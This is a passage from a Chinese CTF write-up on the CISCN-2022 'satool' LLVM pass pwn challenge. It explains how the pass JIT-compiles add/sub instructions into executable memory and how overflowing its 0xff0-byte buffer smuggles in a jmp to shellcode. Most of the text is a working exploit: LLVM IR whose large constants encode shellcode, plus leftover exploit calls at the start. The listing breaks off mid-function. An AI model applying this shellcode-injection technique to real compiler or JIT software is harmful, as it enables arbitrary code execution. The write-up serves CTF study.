winmt128(0);
winmt129(0);
winmt130(0);
winmt131(0);
winmt132(0);
winmt133(0);
winmt134(0);
winmt135(0);
winmt136(0);
winmt137(0);
winmt138(0);
winmt139(0);
winmt140(0);
winmt141(0);
winmt142(0);
winmt143(0);
winmt144(0);
winmt145(0);
winmt146(0);
winmt147(0);
winmt148(0);
winmt149(0);
winmt150(0);
winmt151(0);
winmt152(0);
winmt153(0);
winmt154(0);
winmt155(0);
winmt156(0);
winmt157(0);
winmt158(0);
winmt159(0);
winmt160(0);
winmt161(0);
winmt162(0);
winmt163(0);
winmt164(0);
winmt165(0);
winmt166(0);
winmt167(0);
winmt168(0);
winmt169(0);
winmt170(0);
winmt171(0);
winmt172(0);
winmt173(0);
winmt174(0);
winmt175(0);
winmt176(0);
winmt177(0);
winmt178(0);
winmt179(0);
winmt180(0);
winmt181(0);
winmt182(0);
winmt183(0);
winmt184(0);
winmt185(0);
winmt186(0);
winmt187(0);
winmt188(0);
winmt189(0);
winmt190(0);
winmt191(0);
winmt192(0);
winmt193(0);
winmt194(0);
winmt195(0);
winmt196(0);
winmt197(0);
winmt198(0);
winmt199(0);
winmt200(0);
winmt201(0);
winmt202(0);
winmt203(0);
winmt204(0);
winmt205(0);
winmt206(0);
winmt207(0);
winmt208(0);
winmt209(0);
winmt210(0);
winmt211(0);
winmt212(0);
winmt213(0);
winmt214(0);
winmt215(0);
winmt216(0);
winmt217(0);
winmt218(0);
winmt219(0);
winmt220(0);
winmt221(0);
winmt222(0);
winmt223(0);
winmt224(0);
winmt225(0);
winmt226(0);
winmt227(0);
winmt228(0);
winmt229(0);
winmt230(0);
winmt231(0);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);
winmt236(0);
winmt237(0);
winmt238(0);
winmt239(0);
winmt240(0x90);

winmt240(0x90);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);

fight(0);
}

CISCN-2022 satool

漏洞分析

常见的找到处理函数runOnFunction和注册名mba,函数名称没有限定,任意函数都可以。

image-20230831092827452

首先是给this[4]可写可执行权限,然后进入handle对其进行操作

image-20230831094134640

handle函数

handle里面针对基本块的操作数的属性(常量/函数参数/本地变量),来调用对应的函数对this进行修改

image-20230831094203070

  • arg0为常量:

    this[12]赋值为0

    • writeMovImm64(this, 0, SExtValue)

      image-20230831094355406

      写入this[5]指针对应内容为\x48\xB8 + a3,这个a3即为基本块的操作数 ,随后this[5]对应指针+10,相当于一次修改10个字节,对应汇编语句为

      image-20230831140633173

    • write(this)

      image-20230831094815416

      写入this[5]指针对应内容为\xc3,对应汇编为ret

      总的来说就是写入(\x48\xB8 + a3)再写入\xc3

  • arg0为函数参数:

    image-20230831140800260

    this[12]赋值为1,通过上述分析可知,写入this[5]的数据为(\x48\xB8\x00).ljust(10,'\x00') + \xc3,对应汇编为

    image-20230831140826181

  • arg0为本地变量:

    image-20230831141053247

    首先是写入movavs rax,0,然后this[12]赋值为0,stackLLvmValueVar压入操作符,stackIntVar压入1,进入循环,直到写入0xff0字节后跳出循环

    • while循环

      经过一些判断,代表只对操作符为\xd\xf的进行操作,查LLVM定义的表为addsub指令有效。

      image-20230831141354185

      • arg0为常量,且为1或-1时,调用writeInc函数

        image-20230831141929747stackIntVar_top*arg0为1时,写入inc raximage-20230831142327635stackIntVar_top*arg0不为1时,写入dec raximage-20230831142406119

        arg0为常量不为1或-1时,调用writeMovImm64函数,写入\x48\xbb + arg0*stackIntVar_top

        image-20230831142605020

        调用writeOpReg函数,写入\x48\x01\xd8,即为add rax,rbx

        image-20230831143318448

      • arg0为函数参数时,this[12]赋值为stackIntVar_top

        image-20230831143424721

      • arg0为变量时,将arg0入stackLLvmValueVarstackIntVar_top放入stackIntVar

        image-20230831143518100

      • 指令为sub时,stackIntVar_top = -stackIntVar_top

        image-20230831143830853

      • arg1为常量时,且为1或-1时,调用writeInc函数

        image-20230831144224528

        stackIntVar_top为1时,写入inc raximage-20230831142327635stackIntVar_top不为1时,写入dec raximage-20230831142406119

        arg0为常量不为1或-1时,调用writeMovImm64函数,写入\x48\xbb + arg0*stackIntVar_top

        image-20230831142605020

        调用writeOpReg函数,写入\x48\x01\xd8,即为add rax,rbx

        image-20230831143318448

      • arg1为函数参数时,this[12]赋值为stackIntVar_top

        image-20230831144329204

      • arg1为本地变量时 ,将arg1入stackLLvmValueVarstackIntVar_top放入stackIntVar

        image-20230831144410252

    • 跳出while循环后对栈进行析构操作

执行指令

退出handle函数后,会赋予this[4]可读可执行的权限,并且进入callCode进行执行。

image-20230831145139588

这里注意一下this[4]this[5]最开始存放的是同一个指针,所以我们写入的地方就是this[4]存放的指针位置处。

image-20230831145218292

漏洞点发生在整体的逻辑上,调试可知,最开始的this[4]是本身完全被初始化为ret指令,并且长度超过0xff0,那么当通过while循环写入超过0xff0长度的指令时

image-20230831150630034

那么无论最后有没有被写入ret再退出循环,都会存在ret指令,从而安全退出,执行到下一个函数进行解析。这样就可以在第一个函数中超出0xff0长度写入jmp指令,使用形如add var,con形式如下

1
2
3
4
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb mov raxabx,yyyy
0x1000 ret

其中yyyy数据的0xffe地址开始处就包含jmp指令

第二个函数中写入

1
2
3
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb dec rax

这样总的就是

1
2
3
4
5
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb dec rax
0xffe jmp xxx
0x1000 ret

顺利绕过末尾补ret进入jmp跳转。

随后通过之前的mov raxabs,xxxx中的xxxx八个字节,完成赋值加连环跳转的工作,从而执行真正的shellcode

漏洞利用

就直接用winmt师傅的exp

[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

需要注意的是,由于使用的只能是add/sub指令,所以需要通过空函数的exp.c生成exp.ll,然后再在里面补充对应的add指令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload1(i64 %0) #0 {
%2 = add nsw i64 %0, 58603
%3 = add nsw i64 %2, 1024
%4 = add nsw i64 %3, 1024
%5 = add nsw i64 %4, 1024
%6 = add nsw i64 %5, 1024
%7 = add nsw i64 %6, 1024
%8 = add nsw i64 %7, 1024
%9 = add nsw i64 %8, 1024
%10 = add nsw i64 %9, 1024
%11 = add nsw i64 %10, 1024
%12 = add nsw i64 %11, 1024
%13 = add nsw i64 %12, 1024
%14 = add nsw i64 %13, 1024
%15 = add nsw i64 %14, 1024
%16 = add nsw i64 %15, 1024
%17 = add nsw i64 %16, 1024
%18 = add nsw i64 %17, 1024
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
ret i64 %315
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload2(i64 %0) #0 {
%2 = add nsw i64 %0, 1
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %3, 1
%5 = add nsw i64 %4, 1
%6 = add nsw i64 %5, 1
%7 = add nsw i64 %6, 16999839996723556031
%8 = add nsw i64 %7, 16999840167007600968
%9 = add nsw i64 %8, 16999839549882511291
%10 = add nsw i64 %9, 16999840169020293448
%11 = add nsw i64 %10, 16999840169015152727
%12 = add nsw i64 %11, 16999840169015152724
%13 = add nsw i64 %12, 16999840169015152735
%14 = add nsw i64 %13, 16999840169021813064
%15 = add nsw i64 %14, 16999840169019453768
%16 = add nsw i64 %15, 16999840169015130986
%17 = add nsw i64 %16, 16999840169015152728
%18 = add nsw i64 %17, 16999840169015117071
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
